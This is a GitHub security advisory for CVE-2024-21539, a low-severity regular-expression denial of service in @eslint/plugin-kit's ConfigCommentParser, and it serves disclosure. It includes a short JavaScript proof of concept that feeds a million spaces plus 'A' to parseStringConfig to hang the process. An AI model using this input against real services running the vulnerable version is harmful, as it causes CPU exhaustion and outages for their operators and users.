eslint/rewrite · Security
Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit
- GHSA ID
- GHSA-7q7g-4xm8-89cq
- CVE ID
- CVE-2024-21539
- Severity
- low
- Published
- Updated
- CVSS
- 3.5 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L
- CVSS v3
- 3.5 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L
Description
Crafting a very large and well crafted string can increase the CPU usage and crash the program.
POC
const { ConfigCommentParser } = require("@eslint/plugin-kit");
var str = "";
for (var i = 0; i < 1000000; i++) {
str += " ";
}
str += "A";
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")
// run `npm i @eslint/plugin-kit` and `node attack.js`
// then the program will stuck forever with high CPU usage
CWEs
- CWE-770 · Allocation of Resources Without Limits or Throttling
- CWE-1333 · Inefficient Regular Expression Complexity
References
- https://github.com/eslint/rewrite/security/advisories/GHSA-7q7g-4xm8-89cq ↗
- https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf ↗
- https://nvd.nist.gov/vuln/detail/CVE-2024-21539 ↗
- https://security.snyk.io/vuln/SNYK-JS-ESLINTPLUGINKIT-8340627 ↗
- https://github.com/advisories/GHSA-7q7g-4xm8-89cq ↗